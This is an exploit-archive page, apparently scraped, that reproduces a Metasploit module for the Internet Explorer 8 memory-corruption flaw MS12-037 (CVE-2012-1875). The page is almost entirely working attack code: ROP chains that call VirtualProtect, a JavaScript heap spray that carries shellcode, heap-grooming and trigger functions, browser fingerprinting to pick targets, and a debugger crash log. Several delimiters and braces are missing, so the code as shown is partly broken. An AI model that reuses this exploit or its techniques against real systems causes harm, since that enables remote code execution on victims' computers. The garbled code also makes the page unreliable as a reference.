发布 2012-06-14 漏洞条目

Microsoft Internet Explorer – Same ID Property Deleted Object Handling Memory Corruption (MS12-037) (Metasploit)

Exploit Source

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info={})

super(update_info(info,

'Name' => "MS12-037 Internet Explorer Same ID Property Deleted Object Handling Memory Corruption",

'Description' => %q{

This module exploits a memory corruption flaw in Internet Explorer 8 when

handling objects with the same ID property. At the moment this module targets

IE8 over Windows XP SP3 through the heap massaging plus heap spray as exploited

in the wild.

'License' => MSF_LICENSE,

'Author' =>

[

'Dark Son ', # Vulnerability discovery

'Qihoo 360 Security Center', # Vulnerability discovery

'Yichong Lin', # Vulnerability discovery

'Google Inc.', # Vulnerability discovery

'juan vazquez' # Metasploit module

'References' =>

[

[ 'MSB', 'MS12-037'],

[ 'CVE', '2012-1875' ],

[ 'OSVDB', '82865'],

[ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/ongoing-attacks-exploiting-cve-2012-1875/'],

[ 'URL', 'https://twitter.com/binjo/status/212795802974830592' ] # Exploit found in the wild

'Payload' =>

{

'Space' => 1024,

'BadChars' => "\x00",

'DisableNops' => true

'DefaultOptions' =>

{

'InitialAutoRunScript' => 'migrate -f'

'Platform' => 'win',

'Targets' =>

[

[ 'Automatic', {} ],

[

'IE 8 on Windows XP SP3 with msvcrt ROP',

{

'Rop' => :msvcrt,

'RopOffset' => '0x5f4',

'Ret' => 0x77c15ed5 # xchg eax, esp # ret # from msvcrt.dll

}

[

'IE 8 on Windows XP SP3 with JRE ROP',

{

'Rop' => :jre,

'RopOffset' => '0x5f4',

'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll

}

[

'IE 8 on Windows 7 SP1 with JRE ROP',

{

'Rop' => :jre,

'RopOffset' => '0x5f4',

'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll

}

'Privileged' => false,

'DisclosureDate' => "Jun 12 2012",

'DefaultTarget' => 0))

register_options(

[

OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])

], self.class)

end

def get_target(agent)

# If the user is already specified by the user, we'll just use that

return target if target.name != 'Automatic'

if agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/

#Windows XP SP3 + IE 8.0

return targets[1]

elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8\.0/

#Windows 7 SP1 + IE 8.0

return targets[3]

else

return nil

end

def junk(n=4)

return rand_text_alpha(n).unpack("V").first

end

def nop

return make_nops(4).unpack("V").first

end

def ret(t)

case t['Rop']

when :msvcrt

return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll

when :jre

return [ 0x7c347f98 ].pack("V") # RETN (ROP NOP) # msvcr71.dll

end

def popret(t)

case t['Rop']

when :msvcrt

return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll

when :jre

return [ 0x7c376541 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcr71.dll

end

def get_rop_chain(t)

adjust = ret(t) * 27

adjust << popret(t)

adjust << [t.ret].pack("V") # stackpivot

# Both ROP chains generated by mona.py - See corelan.be

case t['Rop']

when :msvcrt

print_status("Using msvcrt ROP")

rop =

[

0x77c4e392, # POP EAX # RETN

0x77c11120, # <- *&VirtualProtect()

0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN

junk,

0x77c2dd6c,

0x77c4ec00, # POP EBP # RETN

0x77c35459, # ptr to 'push esp # ret'

0x77c47705, # POP EBX # RETN

0x00001000, # EBX

0x77c3ea01, # POP ECX # RETN

0x77c5d000, # W pointer (lpOldProtect) (-> ecx)

0x77c46100, # POP EDI # RETN

0x77c46101, # ROP NOP (-> edi)

0x77c4d680, # POP EDX # RETN

0x00000040, # newProtect (0x40) (-> edx)

0x77c4e392, # POP EAX # RETN

nop, # NOPS (-> eax)

0x77c12df9, # PUSHAD # RETN

].pack("V*")

when :jre

print_status("Using JRE ROP")

rop =

[

0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN

0x00001000, # (dwSize)

0x7c347f98, # RETN (ROP NOP)

0x7c3415a2, # JMP [EAX]

0xffffffff,

0x7c376402, # skip 4 bytes

0x7c345255, # INC EBX # FPATAN # RETN

0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN

0x7c344f87, # POP EDX # RETN

0x00000040, # flNewProtect

0x7c34d201, # POP ECX # RETN

0x7c38b001, # &Writable location

0x7c347f97, # POP EAX # RETN

0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]

0x7c378c81, # PUSHAD # ADD AL,0EF # RETN

0x7c345c30, # ptr to 'push esp # ret '

].pack("V*")

end

code = adjust

code << rop

return code

end

def on_request_uri(cli, request)

agent = request.headers['User-Agent']

my_target = get_target(agent)

# Avoid the attack if the victim doesn't have the same setup we're targeting

if my_target.nil?

print_error("Browser not supported: #{agent}")

send_not_found(cli)

return

end

print_status("Client requesting: #{request.uri}")

p = payload.encoded

js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))

js_padding = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(my_target.arch))

js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))

js_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

js_spray = <<-JS

var heap_obj = new heapLib.ie(0x20000);

var code = unescape("#{js_code}");

var rop_chain = unescape("#{js_rop}");

var random = unescape("#{js_padding}");

var nops = unescape("#{js_nops}");

while (random.length < 0x80000) random += random;

while (nops.length < 0x80000) nops += nops;

var padding = random.substring(0, #{my_target['RopOffset']}-code.length);

var shellcode = code + padding + rop_chain + nops.substring(0, 0x800-code.length-padding.length-rop_chain.length);

while (shellcode.length < 0x40000) shellcode += shellcode;

var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();

for (var z=1; z < 0x385; z++) {

heap_obj.alloc(block);

}

js_spray = heaplib(js_spray, {:noobfu => true})

trigger_f = "trigger"

feng_shui_f = "feng_shui"

crash_f = "crash"

unescape_f = "do_unescape"

main_f = "main"

a_id = "MyA"

danger_id = "imgTest"

if datastore['OBFUSCATE']

js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)

js_spray.obfuscate

trigger_f = rand_text_alpha(rand(5) + 4)

feng_shui_f = rand_text_alpha(rand(5) + 4)

crash_f = rand_text_alpha(rand(5) + 4)

unescape_f = rand_text_alpha(rand(5) + 4)

main_f = rand_text_alpha(rand(5) + 4)

a_id = rand_text_alpha(rand(5) + 4)

danger_id = rand_text_alpha(rand(5) + 4)

end

html = %Q|

<HTML>

<BODY>

</div>

</a>

</DIV>

function #{unescape_f}(dword) {

var t = unescape;

var d = Number(dword).toString(16);

while (d.length < 8) d = '0' + d;

return t('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));

}

function #{feng_shui_f}() {

var tag = 0x1c1c1c0c;

var vtable1 = #{unescape_f}(tag) + '1234567555555555588888888';

var divs = new Array();

for (var i = 0; i < 128; i++) divs.push(document.createElement('div'));

testfaild.innerHTML = testfaild.innerHTML;

divs[0].className = vtable1;

divs[1].className = vtable1;

divs[2].className = vtable1;

divs[3].className = vtable1;

}

function #{crash_f}() {

eval("#{danger_id}").src = "https://www.exploit-db.com/exploits/19141/";

}

function #{trigger_f}() {

var x = document.getElementsByTagName("div");

var fireOnThis = document.getElementById("#{a_id}");

if (document.createEvent) {

evObj = document.createEvent('MouseEvents');

evObj.iniEvent('click', true, false);

fireOnThis.dispatchEvent(evObj);

} else if (document.createEventObject) {

x[1].fireEvent('onMouseOver');

fireOnThis.fireEvent('onclick');

x[1].fireEvent('onMouseOut');

}

function #{main_f}() {

#{js_spray}

setTimeout("#{trigger_f}();", 1000);

}

#{main_f}();

</SCRIPT>

</BODY>

</HTML>

html = html.gsub(/^\t\t\t/, '')

print_status("Sending html")

send_response(cli, html, {'Content-Type'=>'text/html'})

end

=begin

* crash

(a9c.998): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

*** ERROR: Symbol file could not be found. Defaulted to export

symbols for C:\WINDOWS\system32\mshtml.dll -

eax=1c1c1c0c ebx=00000000 ecx=02fdf588 edx=00000001 esi=02fdf588 edi=020bbaf0

eip=6363fcc6 esp=020bba88 ebp=020bba94 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246

mshtml!DllGetClassObject+0xafd09:

6363fcc6 8b5070 mov edx,dword ptr [eax+70h]

ds:0023:1c1c1c7c=????????

=end

作者: Metasploit
日期: 2012-06-14
类别: remote
平台: windows

相关漏洞条目

strongSwan 5.9.13 – libsimaka EAP-SIM/AKA heap buffer overflow

Wing FTP Server 8.1.3 – Authenticated Remote Code Execution

Microsoft – NTLMv2 Hash Capture

telnetd 2.7 – Buffer Overflow